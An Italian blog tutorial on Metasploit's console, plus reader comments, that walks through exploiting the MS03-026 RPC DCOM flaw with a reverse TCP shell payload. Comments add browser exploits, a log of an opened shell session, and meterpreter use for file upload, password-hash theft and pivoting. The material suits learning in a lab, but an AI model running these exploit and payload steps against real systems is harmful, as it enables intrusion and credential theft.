Guida a Metasploit Framework Parte 3 – La console, gli Exploit e i Payload
In questa terza parte della serie dedicata a Metasploit Framework, dopo una breve panoramica dei principali strumenti, vi darò le nozioni basilari sulle modalità d'uso della msfconsole, in particolare mi soffermerò sull'uso dei moduli Exploit e Payload.
Usare Metasploit
Innanzitutto vorrei richiamare alla vostra attenzione i diversi strumenti che Metasploit ci mette a disposizione.
Osservate il contenuto della cartella di installazione
- msfweb permette di lanciare gli attacchi tramite una comoda interfaccia web.
- msfgui è una classica interfaccia grafica che utilizza un "assistente" (un wizard) per la composizione di un attacco, se pur molto limitato si tratta di un approccio ancora più semplice e veloce rispetto all'interfaccia web. Va fatto notare che questa funzionalità permette di utilizzare anche la modalità autopwn della quale parleremo più avanti.
- msfconsole è il tipo di approccio più completo e si tratta di una console, una interfaccia testuale interattiva, tramite la quale è possibile usufruire appieno delle potenzialità del framework.
- msfcli è un client, una console non interattiva che facilita usi avanzati del framework come ad esempio l'automatizzazione tramite script.
- msfpayload è uno strumento per la generazione di payload in modalità stand-alone
- msfencode permette di codificare degli shellcode con finalità di evasione IDS oppure per evitare eventuali bad-chars (caratteri non consentiti dall'applicazione attaccata)
- msfd permette di eseguire il framework in modalità servizio (demone) al fine di renderlo utilizzabile da remoto attraverso connessioni client (come client potete usare anche i semplici telnet o netcat); ogni client avrà a disposizione una propria interfaccia msfconsole totalmente indipendente.
Vediamo alcuni screenshot dei vari strumenti appena descritti
In questo articolo vi mostrerò l'uso della msfconsole in quanto ritengo che questo strumento costituisca l'approccio più completo alle funzionalità del framework, senza contare il fatto che quando sarete in grado di lanciare un attacco tramite msfconsole utilizzare gli altri strumenti risulterà essere una operazione banalissima... e forse anche non più necessaria.
Ho volutamente tralasciato msfopcode ed msfpescan poiché sono strumenti che risolvono bisogni specifici di chi scrive exploit personalizzati, in ogni caso sono riservati ad un utenza di tipo avanzata.
La Console
Aprite un terminale e raggiungete la cartella del framework, per eseguire la console sarà sufficiente fornire il comando
sudo ./msfconsole
N.B: quando utilizzate la console vi consiglio di tenere il terminale a tutto schermo, a seconda delle dimensioni del Desktop può aumentare sensibilmente la leggibilità del testo restituito in output.
Digitare help ci restituirà una breve lista dei comandi disponibili
Iniziamo subito a prendere confidenza con lo strumento... il comando show mostra la lista completa dei moduli di un determinato tipo, per esempio
show exploits
ci restituisce la lista completa degli exploit disponibili; tenere il framework aggiornato vi permette anche di ottenere tutti i nuovi exploit.
show payloads
ci restituisce la lista completa dei payload utilizzabili con gli exploit
Allo stesso modo anche i comandi
show encoders
show auxiliary
show nops
restituiscono le rispettive liste di moduli
In questo momento parleremo soltanto degli Exploit e dei Payload ma intendo comunque fare un minimo di chiarezza.
- Il termine exploit (dall'inglese "to exploit" - "sfruttare") in informatica identifica un metodo che è in grado di sfruttare i problemi che affliggono un sistema operativo oppure una determinata applicazione al fine di permettere all'attaccante di eseguire un payload sul sistema attaccato. Un exploit potrebbe anche essere studiato per creare un disservizio, in questo caso parliamo di DoS (Denial of Service)
- Con il termine payload (a volte chiamato anche shellcode), attenendosi all'argomento che stiamo trattando, ci riferiamo ad una sequenza di comandi che vengono eseguiti grazie ad un exploit e che determinano il tipo di impatto che l'attacco avrà sul sistema bersaglio. Un payload potrebbe per esempio essere costituito da un codice che ha lo scopo di creare un utente amministrativo sul sistema attaccato, oppure che fornisce all'attaccante una shell dei comandi in grado di controllare la macchina remota... e così via.
- Gli encoders sono algoritmi in grado di camuffare un payload al fine di renderlo invisibile ai sistemi di Intrusion Detection (IDS).
- I moduli ausiliari (auxiliary) sono dei piccoli programmi che si occupano invece di eseguire azioni specifiche come ad esempio una scansione di rete, una operazione di fuzzing, un attacco DoS, sniffing di credenziali, ecc...
- I moduli nop servono per generare istruzioni di tipo no-operation che hanno lo scopo di riempire il buffer, la memoria di un sistema. Questo tipo di modulo può tornare utile per la scrittura di exploit personalizzati.
Altri comandi generici:
- "back" permette di tornare al contesto precedente qualora abbiate utilizzato comandi che caricano delle sottoroutine, ad esempio "load" e "use".
- "banner" ripropone il banner descrittivo che viene mostrato all'avvio della msfconsole.
- "cd" cambia la directory di lavoro corrente, all'interno della msfconsole è infatti possibile utilizzare alcuni comandi di shell come appunto cd, "dir", "ls"... se utilizzerete appieno le funzionalità del framework capirete il perché.
- "load", "loadpath" e "unload" servono per caricare/scaricare alcuni plugin esterni al framework, come ad esempio db_sqlite3 che permette di utilizzare funzionalità database all'interno di Metasploit; avrò probabilmente modo di trattare questi comandi in qualche altro articolo.
- "quit" esce dalla msfconsole.
- "sessions" serve per gestire le sessioni, ogni volta che un attacco avrà esito positivo verrà creata una sessione, con questo comando è possibile visualizzarne la lista, entrare/uscire da esse, oppure terminarle in maniera forzata.
- "use" serve per selezionare i moduli da utilizzare, lo incontreremo in questo articolo.
- "set" ed "unset" servono ad impostare o resettare i valori assegnati alle variabli, in questo articolo utilizzeremo le variabli percui ne vedrete l'applicazione.
- "version" mostra la versione del framework e della msfconsole.
Gli exploit e i payload
Il primo passo per attaccare un sistema tramite Metasploit, tralasciando ovviamente la scansione dei servizi, consiste nel scegliere uno o più exploit in grado di sfruttare le vulnerabilità che potrebbero affliggerlo.
N.B: nmap, se installato sul sistema, è utilizzabile anche all'interno della msfconsole; provate pure a digitare il comando "nmap" e osservatene la risposta.
Quando poco fa avete eseguito il comando show exploits avrete sicuramente notato che gli exploit sono catalogati in categorie e sottocategorie, più o meno il criterio di catalogazione rispecchia la seguente forma
sistema operativo / servizio-applicazione / vulnerabilità
lo stesso vale per i payload, questo sistema (introdotto nella versione 3 del framework) rende molto più intuitiva la ricerca dell'exploit e del payload da utilizzare.
L'exploit che utilizzerò per questa dimostrazione è quello che sfrutta il famoso overflow dell'interfaccia RPC DCOM (ricordate il Worm W32.Blaster?), vediamo come visualizzare maggiori informazioni su di esso
info windows/dcerpc/ms03_026_dcom
La porta 135 (RPC) del bersaglio è raggiungibile, questo exploit è proprio ciò che fa al caso nostro... selezioniamolo tramite il comando use
use windows/dcerpc/ms03_026_dcom
Di conseguenza al comando use il prompt dei comandi è stato modificato, infatti ora indica che stiamo utilizzando l'exploit specificato ed abbiamo perciò accesso ad un altra serie di opzioni, provate ad eseguire il comando show options
show options
L'output di questo comando mira a renderci consapevoli delle possibili configurazioni supportate dal modulo exploit che abbiamo selezionato, tali configurazioni possono essere fatte tramite il comando set. L'exploit preso in esame è molto semplice, stando a quanto indicato dal campo "Required" (obbligatorio) abbiamo la sola necessità di configurare la variabile RHOST ("remote host", ovvero l'indirizzo IP del sistema da attaccare). Non è necessario nemmeno selezionare un sistema operativo target in quanto questo modulo viene dichiarato come Universal (universale).
Selezioniamo allora il nostro RHOST
set RHOST 192.168.192.180
Se provate ad eseguire nuovamente il comando show options noterete che la variabile RHOST risulta ora impostata
Dunque... abbiamo selezionato un exploit, un bersaglio... non ci resta che selezionare un payload, ovvero l'azione che vogliamo venga eseguita sul sistema remoto qualora l'exploit andasse a buon fine.
set PAYLOAD windows/shell/reverse_tcp
Questo payload fa in modo che il sistema attaccato si connetta al nostro computer fornendoci una shell dei comandi tramite la quale avremo la possibilità di controllarlo, tra poco elencherò brevemente le varie tipologie di payload ma per il momento, per non creare confusione, seguite solamente i miei passi.
Se eseguite nuovamente il comando show options vedrete che alle precedenti opzioni relative all'exploit si sono aggiunte quelle relative al payload selezionato, anche i payload infatti hanno bisogno di configurazioni.... alcuni più di altri.
show options
L'unico campo obbligatorio che non risulta compilato è LHOST ("local host", ovvero l'indirizzo IP locale del nostro computer); abbiamo detto infatti che il payload in questione farà in modo che il sistema remoto si connetta al nostro computer quindi avrà ovviamente bisogno di conoscerne l'indirizzo IP.
set LHOST 192.168.192.3
Ancora una volta, eseguendo show options noterete che anche il modulo payload è ora completamente configurato.
Adesso che tutte le variabili obbligatorie sono state correttamente impostate non resterebbe che lanciare l'attacco tramite il comando exploit... nel caso in cui vi stiate chiedendo se esista la possibilità di eseguire una verifica preventiva sulla vulnerabilità del sistema bersaglio, la sezione "Exploit Commands" dell'help vi fornirà la risposta alla domanda.
help
Il comando check permette infatti di eseguire una analisi preventiva del sistema remoto, purtroppo però non tutti gli exploit supportano questa funzionalità. Il nostro ms03_026_dcom per esempio non supporta il check.
Quando vi sentite pronti eseguite il comando exploit per dare il via al processo d'attacco.
exploit
Ecco il risultato
Una volta che avrete terminato di utilizzare la shell dei comandi sarà possibile chiuderla tramite il comando exit oppure con la combinazione di tasti control-c (questa termina forzatamente la sessione, se possibile non utilizzatela).
Non c'è molto da aggiungere, l'utilizzo di Metasploit è semplice ed intuitivo, le azioni da eseguire sono veramente poche. Ovviamente le sue funzionalità non si limitano soltanto a quanto abbiamo visto in questo breve articolo, in futuro ci sarà sicuramente spazio per approfondirne alcuni aspetti specifici.
I payload in dettaglio
Poco fa ho parlato dei moduli payload e per non creare confusione ho evitato di entrare un po' più nel dattaglio, vediamoli ora.
Innanzitutto occorre dire che le tipologie di payload messe a disposizione sono principalmente queste:
- adduser, aggiungono un account utente nel sistema attaccato.
- dllinject, iniettano nel sistema una libreria arbitraria.
- download_exec, scaricano ed eseguono un eseguibile arbitrario nel sistema attaccato.
- exec, eseguono un comando arbitrario nel sistema attaccato.
- meterpreter, il coltellino svizzero dell'attacco alle piattaforme windows, è stato sviluppato appositamente per Metasploit e permette di eseguire una grande varietà di comandi sul sistema attaccato, ho in programma di scrivere qualcosa su di esso in futuro.
- shell, permettono di ottenere un prompt dei comandi sul sistema attaccato.
- upexec, permettono l'upload e l'esecuzione di un eseguibile arbitrario sul sistema attaccato.
- vncinject, iniettano ed eseguono una sessione VNC sul sistema attaccato, questo permette all'attaccante di ottenere il controllo remoto della sessione utente.
Ognuno di questi payload può essere eseguito in varie modalità, la scelta è dettata dalla situazione nella quale l'attaccante si trova ad operare. Per esempio: se il sistema fosse protetto da firewall e volessimo comunque ottenere un prompt dei comandi su di esso sarebbe necessario utilizzare una modalità reverse shell (Reverse TCP Stager/Inline) piuttosto che una connessione diretta (Bind TCP Stager/Inline), oppure se il sistema remoto fosse protetto da un firewall in grado di fare ispezione dei pacchetti a livello applicativo (application filter) potrebbe esistere la necessità di eseguire il payload tramite PassiveX Reverse HTTP Tunneling Stager, in questo caso verrà dapprima modificato il registro di sistema e poi lanciato Internet Explorer il quale sarà a questo punto configurato per caricare un controllo ActiveX in grado di eseguire il tunneling HTTP del payload verso il nostro computer (questa modalità è in grado di sfruttare anche le configurazioni di proxy e autenticazione Internet).
Riassumendo... ogni tipologia di payload sopra elencata supporta quindi le modalità appena descritte, ovvero: Reverse TCP Stager/Inline, Bind TCP Stager/Inline e PassiveX Reverse HTTP Tunneling Stager.
Risorse in rete
Autore
Mirko Iodice
mirko -at- notageek (.dot) it
Suggeriti dall'autore
- Installare Metasploit Framework 3 sotto Cygwin - How to install Metasploit Framework 3 under Cygwin
- Guida a Metasploit Framework Parte 2 - Installazione e aggiornamento
- Guida a Metasploit Framework Parte 1 - Presentazione
Print This • Email this • Twit This! • Add to del.icio.us • Share on Facebook • Digg This! • Stumble It! • AddThis! • Share on Segnalo Alice • Share on OKNotizie
27 Novembre 2007 alle 1:20
Sembrano una passeggiata questi framework...
Ora aspetto la puntata sull'autopwn..ho letto in giro che è moooolto interessante; sono incuriosito.
Qualcuno ha provato a seguire la guida ?
A me non funziona.. anche provando a settare un exploit diverso.
Ammetto, sono un principiante!
Ciao !
27 Novembre 2007 alle 8:59
Ciao,
potresti specificare meglio il problema?
Cos'è che non funziona esattamente?
Ricevi qualche tipo di errore oppure semplicemente l'exploit fallisce e non riesci ad ottenere la shell dei comandi?
Vorrei ricordare che determinati exploit potrebbero non funzionare contro i sistemi operativi aggiornati, vi consiglio di dare sempre uno sguardo alle "References" riportate attraverso il comando info.
La vulnerabilità sfruttata dall'exploit mostrato in questo articolo è stata infatti corretta, per testarlo avrete perciò bisogno di un Windows XP o un Windows 2003 non aggiornati, senza service pack.
5 Marzo 2008 alle 16:47
Ciao!
leggendo la tua guida, sono rimasto molto incuriosito ed ho deciso di provare Metasploit.
non potendo provare l' esempio che hai indicato, ho deciso di utilizzare un exploit web based.
ho provato tantissimi exploits e tutti si comportano generando lo stesso errore:
Sending exploit to 192.168.223.1:37314
che è il mio router/gateway e nn la macchina di attacco (con metasploit)
ti aggiungo ulteriori info:
ipconfig della macchina con metasploit:
IPv4 Address. . . . . . . . . . . : 192.168.223.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.223.1
ipconfig della vittima:
ipconfig della macchina con metasploit:
IPv4 Address. . . . . . . . . . . : 192.168.223.21
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.223.1
Module: exploit/windows/browser/ms06_013_createtextrange
>> info
Available targets: Id Name -- ----
0 Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2) <-- il mio caso
1 Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 192.168.223.10 yes The local host to listen on. SRVPORT 8080 yes The local port to listen on. URIPATH mirox no The URI to use for this exploit (default is random)
qui parte l' attacco
16:03:07 - ms06_013_createtextrange [*] Launching exploit windows/browser/ms06_013_createtextrange...
16:03:07 - ms06_013_createtextrange [*] Using URL: http://192.168.223.10:8080/mirox
16:03:07 - ms06_013_createtextrange [*] Server started.
16:03:54 - ms06_013_createtextrange [*] Sending exploit to 192.168.223.1:37314...
ho provatto un casino di exploits, configuranto l ip dell' attacker (quindi quello della macchina con Metasploit) con 192.168.223.10 ma nulla da fare....
non capisco perchè risponde sempre al 192.168.223.1...
hai percaso qualche idea? te ne sarei davvero grato!
grazie :)
5 Marzo 2008 alle 21:08
@ myro
Il comportamento da te illustrato non è normale.
Sulla macchina vittima utilizzi per qualche motivo il gateway (192.168.223.1) come proxy di internet explorer?
Metasploit dovrebbe cercare di spedire l'exploit all'IP che si collega all'URL http://192.168.223.10:8080/mirox, sembra che non sia la vittima a connettersi a tale indirizzo ma il router... è possibile? Potresti verificare con uno sniffer.
In ogni caso fai questa prova: togli il parametro default gateway dalla configurazione IP delle due macchine (attaccante e vittima) e riprova, essendo in rete locale non dovrebbero aver bisogno del gateway per comunicare tra di loro. Fammi sapere.
6 Marzo 2008 alle 20:15
Ciao Mirko.
Inanzitutto grazie mille della tua (tempestiva) risposta!!!
non è da tutti. :) thx!
Exporer nn usa nessun gateway, ed gli ip vengono forniti dal dhcp.
cmq ho provato a settarli statici tralasciando il gateway ed sono riuscito ad ovviare il problema. non è una soluzione ma è un passo avanti :)
una volta effettuato il mio primo exploit, proverò metaspoit in una lan con configurazione diversa, per risolvere questo strano problema.
Ora....ehm.... riesco a lanciare l' expoit verso la macchina giusta ma non ce verso di caricare un payload.
vorrei prendere la shell della vittima con il payload windows/shell/reverse_tcp come da te condigliato.
questo è il mio output:
[*] PassiveX listener started. [*] Using URL: http://192.168.223.10:8080/mirox66 [*] Server started.
[*] Sending exploit to 192.168.223.89:1108...
msf exploit(ms06_001_wmf_setabortproc) >
e rimane in attesa all infinito.
expoit:
Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution win32
This module exploits a vulnerability in the GDI library included with Windows XP and 2003. This vulnerability uses the 'Escape' metafile function to execute arbitrary code through the SetAbortProc procedure. This module generates a random WMF record stream for each request.
payload: windows/shell/reverse_tcp (ho provate quasi tutte)
vars:
SRVHOST: 192.168.223.10
SRVPORT: 8080
URIPATH: mirox7
EXITFUNC: seh
LHOST: 192.168.223.10
LPORT: 4444
la macchina client è un (xp sp2) e quando raggiunge l'indirizzo http://192.168.223.10:8080/mirox66 automaticamente scarica nella cartella temp di windows un .wmf e cerca di aprirlo con Windows picture Viewer. da questo deduco che l' exploit ha funzionato, visto che si tratta di un exploit delle GDI si win.
ma nonostante ciò nn succede nulla...
Grazie mille, della pazienza nel leggere questo tema :)
ciao mirko.
7 Marzo 2008 alle 1:09
@ myro
nel tuo caso l'exploit è stato eseguito con successo ma non ha avuto un buon esito. Probabilmente la vittima è stata patchata per la vulnerabilità che stai cercando di sfruttare.
Mi spiego meglio: il bollettino MS06-001 è datato 6 gennaio 2006 ed una patch per Windows XP SP2 è stata rilasciata qualche mese più tardi; se stai provando ad attaccare un client Windows XP che è stato aggiornato in una data successiva a quella del rilascio di tale patch allora sicuramente l'exploit non riuscirà ad eseguire il payload poiché esso non è più vulnerabile.
Il fatto che tu veda comparire/aprire il file wmf significa soltanto che Metasploit è riuscito ad eseguire l'exploit ma, a questo punto, l'esecuzione del payload avverrà soltanto se il sistema operativo attaccato è ancora vulnerabile.
Se provi ad eseguire nuovamente le stesse operazioni contro un sistema Windows XP SP2 senza ulteriori aggiornamenti otterrai sicuramente un risultato diverso:
msf exploit(ms06_001_wmf_setabortproc) > exploit
[*] Started reverse handler
[*] Using URL: http://192.168.192.7:80/notageek
[*] Server started.
msf exploit(ms06_001_wmf_setabortproc) >
[*] Sending exploit to 192.168.192.5:1049...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (192.168.192.7:4444 -> 192.168.192.5:1050)
msf exploit(ms06_001_wmf_setabortproc) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.192.7:4444 -> 192.168.192.5:1050
msf exploit(ms06_001_wmf_setabortproc) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator.TESTDOMAIN\Desktop>
11 Marzo 2008 alle 19:43
Grazie mille mirko della tua spiegazione.
Proverò il tutto tirando su una macchina virtuale con xp senza alcun service pack, per testare questi expoits.
ciaoo!!
11 Marzo 2008 alle 20:38
@ myro
Penso che sia la cosa migliore da fare per imparare ad utilizzare questo framework, una volta fatto ciò potrai scegliere di approfondire l'argomento e sfruttare anche le altre funzionalità che io non ho ancora trattato qui sul blog.
18 Giugno 2009 alle 22:28
Vorrei complimentarmi per la tua ottima guida! Vorrei togliermi solamente un dubbio... Se possiedo un router esso può limitare la stabilità delle connessioni? Mi spiego meglio... Ho un server casalingo in cui faccio le prove in vps e lo gestisco da remoto! Ho installato win xp con SP2 senza aggiornamenti! Qui possiedo un router! Ho lanciato l'attacco aprendo sul mio router la porta 4444 solo che invece di stabilire la connessione sulla 4444 l'ha stabilita sulla 46064 sul mio ip locale e su quello remoto sulla 30599 e ho avuto la shell! Probabilmente perchè ha utilizato un'altro exploit tramite autopwn! (Devo dire bella sensazione). Quello che voglio sapere se centra qualcosa aprire le porte sul router oppure la connessione avviene ugualmente? Perchè ho provato a fare altre prove con win 2000 e altri sistemi più vecchi ma non riuscito a stabilire una connessione... può dipendere da questo oppure perchè non erano affetti da bug? Grazie in anticipo!
19 Giugno 2009 alle 14:05
@Massimo
Ciao,
se devo essere sincero non ho ben capito la situazione da te descritta, stai effettuando i test di attacco al tuo computer di casa attraverso internet? Attraverso la VPN? Oppure direttamente in rete locale LAN?
In ogni caso, quando si effettuano questi tipi di test attraverso internet, va sempre valutata la configurazione del router/firewall sia dalla parte dell'attaccante che della vittima.
I tipici router "casalinghi", ad esempio, sono normalmente configurati per consentire qualsisi tipo traffico in uscita, questo significa che non viene applicato nessun tipo di filtro su tutti quei pacchetti di rete che hanno come origine la rete LAN e come destinazione la rete Internet; al contrario invece i pacchetti provenienti dall'esterno, cioè da Internet verso la rete LAN, vengono sempre bloccati a meno che non siano state impostate delle regole di port-forwarding (alcuni router le chiamano server-publishing).
In questo tipo di situazione non c'è bisogno di configurare alcuna regola sul router/firewall che collega la vittima con Internet poiché un payload di tipo reverse-shell ha sempre l'opportunità di connettersi indisturbato verso l'attaccante che si trova all'esterno. Il discorso è diverso invece per il router/firewall che collega l'attaccante ad Internet in quanto, al fine di poter ricevere la connessione proveniente dalla reverse-shell esso deve pubblicare (host esposto) il proprio computer su internet o per lo meno garantire, tramite regole di port-fowarding, la raggiungibilità della porta impostata come "destinazione" in fase di configurazione del payload.
Lo scenario appena descritto non è ovviamente assoluto ma è il più comune per le utenze internet "private" cioè non aziendali... il tutto cambia e va rivalutato nel momento in cui i router/firewall interessati siano più complessi e configurati per filtrare qualsiasi tipo di pacchetto, sia in entrata che in uscita, magari anche a livello applicativo.
20 Giugno 2009 alle 11:47
Ti ringrazio per la tua risposta tempestiva! Cmq ho sistemato tutto il problema era proprio quello che hai detto te di aprire le porte sul router e subito dopo è andato benissimo anche sul win 2000! Volevo chiederti un altro piccolo aiuto il quale non sono riuscito a capire come applicare i comandi aggiuntivi dei Payloads mi spiego meglio... una volta che mi trovo dentro la shell del mio sistema virtuale ho letto che ci sono dei comandi aggiuntivi per fare l'upload e il download dei file sulla shell vittima ma non capisco come applicarli mentre mi ritrovo dentro la shell tipo questi comandi:
•adduser, aggiungono un account utente nel sistema attaccato.
•dllinject, iniettano nel sistema una libreria arbitraria.
•download_exec, scaricano ed eseguono un eseguibile arbitrario nel sistema attaccato.
•exec, eseguono un comando arbitrario nel sistema attaccato.
•meterpreter, il coltellino svizzero dell’attacco alle piattaforme windows, è stato sviluppato appositamente per Metasploit e permette di eseguire una grande varietà di comandi sul sistema attaccato, ho in programma di scrivere qualcosa su di esso in futuro.
•shell, permettono di ottenere un prompt dei comandi con diritti di SYSTEM sul sistema attaccato.
•upexec, permettono l’upload e l’esecuzione di un eseguibile arbitrario sul sistema attaccato.
•vncinject, iniettano ed eseguono una sessione VNC sul sistema attaccato, questo permette all’attaccante di ottenere il controllo remoto della sessione utente.
Sto impazzendo... perchè il grosso ormai l'ho fatto ma se voglio inviare o scaricare dei file dalla shell non riesco ad applicare quei comandi da remoto! Attendo con ansia il tuo aiuto! Grazie come sempre!
20 Giugno 2009 alle 16:28
@Massimo
i punti che hai elencato, citando il mio articolo, non sono comandi ma bensì diversi payload... percui vanno utilizzati singolarmente al posto del reverse-shell.
Per come la vedo io hai principalmente due possibilità:
- utilizzare system32\ftp.exe da prompt dei comandi di Windows (se non è stato disabilitato) per caricare o scaricare i files.
- usare come payload un meterpreter (o reverse-meterpreter a seconda della configurazione di rete) che ti permette appunto di eseguire con facilità numerose altre operazioni, ad es.: effettuare l'upload/esecuzione di file, ottenere gli hash LM delle password, utilizzare l'host compromesso per fare tunnelling nella LAN di altri attacchi, ecc.
21 Giugno 2009 alle 4:52
Grazie Mirko! Ma utilizzando la modalità autopwn il payload meterpreter si può lanciare ugualmente oppure bisogna prima uscire dalla shell e lanciare il singolo comando con il payload meterpreter? Come si può fare? Grazie!
22 Giugno 2009 alle 15:13
@Massimo
meterpreter è il payload di default per il plugin autopwn se stai usando la versione in sviluppo di Metasploit (attualmente 3.3-dev), altrimenti devi lanciare il singolo exploit utilizzando meterpreter come payload.
22 Giugno 2009 alle 17:03
Quindi in pratica mi conviene usare la versione beta 3.3 per avere di default il meterpreter! A pensare che per un pò di giorni lo utilizzavo ma lo vedevo uguale al 3.2 quindi mi ero lasciato la 3.2 probabilmente più stabile! Allora ritorno alla 3.3 e ti facico sapere! Grazie Mirko! :)
22 Giugno 2009 alle 18:21
Mirko è tutta un'altra cosa con questo payload! Davvero fantastico! L'ho provato subito e funge a meraviglia! Solamente che non riesco ad accedere alle cartelle con nomi separati tipo Programmi Files come bisogna fare in quel caso? ho provato cd Programmi%Files ma non va! Sto impazzendo per questa cosa! Grazie come sempre Mirko!
22 Giugno 2009 alle 18:53
@Massimo
hai due possibilità:
23 Giugno 2009 alle 17:02
Mirko 6 un grande! Adesso posso sfogliare anche le cartelle con gli spazi grazie mille! :D
Ascolta Mirko c'è la possibilità su nmap di escludere delle porte e lasciare il resto? Perchè ti spiego tipo la 80-21-22 e qualche altra porta diciamo che ormai è difficile trovare il webserver su win o linux con bug se non si viene aggiornato così anche l'ftp o l'ssh in questo modo finico prima i test sulla rete dei miei vps invece di aspettare che lancia exploit sulla 80 per poi non trovare lo stesso nulla... oppure se esiste una lista di porte standard in cui possono avere dei bug tipo la 445 di xp SP2 ecc..? Io conosco solo questa perchè è il bug di xp SP2 altre con più possibilità di bug esistono? Così metto solo la lista di porte che possono servire invece di lasciare quelle standard!
Grazie come sempre!
23 Giugno 2009 alle 18:31
@Massimo
Puoi usare le opzioni standard di nmap, per l'help digita:
Nello specifico l'opzione -p ti permette di modificare a tuo piacimento le porte da scansionare, se ometti questa opzione nmap scansionerà le 1000 porte più comuni.
Ti faccio qualche esempio:
il comando di cui sopra scansiona soltanto le porte 135,139 e 445 dell'host 192.168.0.1
scansiona tutte le porte comprese negli intervalli da 1 a 500 e da 1000 a 2000 per l'host 192.168.0.1, puoi anche forzare il protocollo:
Ovviamente U sta per UDP e T sta per TCP.
Link alla documentazione ufficiale: http://nmap.org/book/man-port-specification.html
Ti consiglio inoltre di aggiungere l'opzione -sT che forza una scansione di tipo "TCP Connect Scan", ti darà risultati più attendibli rispetto alla predefinita "SYN Stealth Scan", non ti servono opzioni di evasione log e IDS dato che stai scansionando la tua rete.
24 Giugno 2009 alle 6:00
Grazie Mirko 6 stato chiarissimo! Infatti l'opzione -p l'ho usata inserendo -p 445 per l'xp SP2 Ma mi chiedevo se una lista di queste 1000 porte standard o delle 100 porte senza inserire il -p (almeno è quello che mi dice quando ha finito... che ha scansionato 100 porte) esiste? Cioè sappiamo quali sono queste porte?
Poi un'altra cosa che ho notato Mirko che nel Meterpreter l'opzione per eliminare un file non c'è è normale? C'è solo l'opzione rmdir per eliminare una cartella ma se provo rm file oppure rm -rf file mi dice che ovviamente il comando non esiste! Quindi non c'è modo per svolgere quest'azione? Grazie!
24 Giugno 2009 alle 21:21
@Massimo
la prima cosa che mi viene in mente, se stai usando linux, è ricavarsi un file di testo contenete le porte di nmap utilizzando i comandi messi a disposizione dalla shell:
Nello stesso modo puoi giocare anche con le opzioni "--top-ports" e "--port-ratio" per creare altre liste.
Se ne hai bisogno te li metto da scaricare.
Per quanto riguarda il meterpreter... se vuoi avere a disposizione tutti i comandi del prompt di windows devi eseguirlo ed interagire con esso:
25 Giugno 2009 alle 15:38
Mirko ma non ti sfugge proprio niente! Sai tutto! Ho applicato le 2 stringhe per le porte del nmap e mi ha creato i 2 file .txt con il risultato dello scan! Davvero Grandioso! Per quanto riguarda il meterpreter una volta interagito con il prompt per ritornare di nuovo ad esso devo uscire e rifare tutto d'accapo o basta un comando? E ti volevo chiedere un'altra cosa un pò più complessa... ho notato che le cartelle exploit http e browser utilizzano la stessa porta 8080 solamente che io volevo far applicare sulla 8080 gli exploit browser perchè ho notato che con l'automazzione prende automaticamente la HTTP invece di browser! C'è un moto tramite automazzione sempre di far lanciare soltanto oppure entrambi le cartelle browser e http? Magari forzando con qualche comando?
25 Giugno 2009 alle 21:17
@Massimo
1. Quando termini il prompt di windows con il comando "exit" ritorni al prompt del meterpreter, non devi rifare nulla.
2. Scusami ma non ho capito la domanda :-)
26 Giugno 2009 alle 14:02
Per la seconda domanda te la riformulo meglio... Hai presente l'opzione autopwn (automazzione)? Vorrei far si che metasploit lancia dei determinati exploit invece di altri! Ti faccio un'esempio... ho provato sulla porta 8080 la quale l'ho aperta apposta per testare questa opzione... ho lanciato l'automazzione ma ho notato che gli exploit che lancia sono quelli della cartella windows/http mentre io voglio che deve lanciare quelli di windows/browser oppure... lanciare entrambi le cartelle (non fa male)! Senza farlo manualmente perchè ne sono tanti gli exploit della cartella browser c'è la possibilità di forzare il lancio degli exploit tramite automazzione?
26 Giugno 2009 alle 15:43
@Massimo
Gli exploit vengono selezionati da autopwn in base alla porta oppure ai riferimenti contenuti nel database di vulnerabilità... sei tu a decidere quale delle due modalità utilizzare tramite i parametri del comando db_autopwn. In ogni caso non puoi usare un exploit di tipo browser per attaccare una porta poiché non sfrutta una vulnerabilità che affligge un protocollo di comunicazione /servizio in ascolto ma bensì una applicazione client che deve essere portata a connettersi ad esso; questo significa che, per utilizzare gli exploit di tipo browser, metasploit deve avviare un server web ospitante la pagina di exploit e tu devi fare in modo che l'utente la visualizzi con il browser vulnerabile. Per automatizzare questo tipo di attacco c'è un modulo ausiliario apposito che si chiama browser_autopwn... ma l'onere di portare l'utente a visualizzare l'exploit resta a te e fa parte di un altra "scuola": quella degli attacchi client-side.
26 Giugno 2009 alle 17:52
Mirko 6 stato chiarissimo! Credevo che c'era il modo per forzare un determinato exploit ma giustamente come dici tu l'automazzione dovrebbe riconoscere in automatico che tipo di vulnerabilità è in quel momento su quella porta e non pensavo fosse così complesso la questione del browser! Ho provato a cercare in rete browser_autopwn ma non si trova proprio nulla sarà una cosa che non viene mai usata probabilmente oppure troppo complessa! Ti ringrazio come sempre! :)
2 Luglio 2009 alle 14:54
Ciao Mirko rieccomi di nuovo con un altro problemino che ho riscontrato! Ho notato che quando effettuo lo scan la connessione va liscia ma quando finisce lo scan che stampa gli ip della rete con le determinate porte mi si satura la connessione in quel momento ma tipo msn è altri client restano connessi solo il browser non riesce a caricare le pagine! Mi stavo chiedendo... come è possibile questo? Si dovrebbe saturare durante lo scan quando si lancia il comando db_nmap e non dopo quando stampa gli ip perchè dovrebbe essere una cosa locale del pc e non che coinvolge pure la connessione giusto? E ho notato che salta anche molte porte facendomi risultare tutto filtered invece di open! Quella fase che stampa gli ip sul terminale è possibile farla saltare o la deve fare per forza? Oppure c'è una soluzione a questo problema? Sto impazzendo! Grazie Mirko!
5 Luglio 2009 alle 12:13
Mirko alla fine ho capito che era una questione del mio router che non riusciva a mantenere quel tipo di flood l'ho cambiato immediatamente! :D
Ascolta ma l'opzione browser_autopwn essa preleva direttamente gli exploit nella cartella "Browser" oppure non centra nulla? Perchè volevo sapere come funzionava l'exploit dell'ultimo bug del PDF che comprendeva dalla versione 8.x alla 9.x! Solamente che con il browser_autopwn non sembra che carichi questo tipo di exploit probabilemnte bisogna fare qualche altro passaggio?
Grazie come sempre!
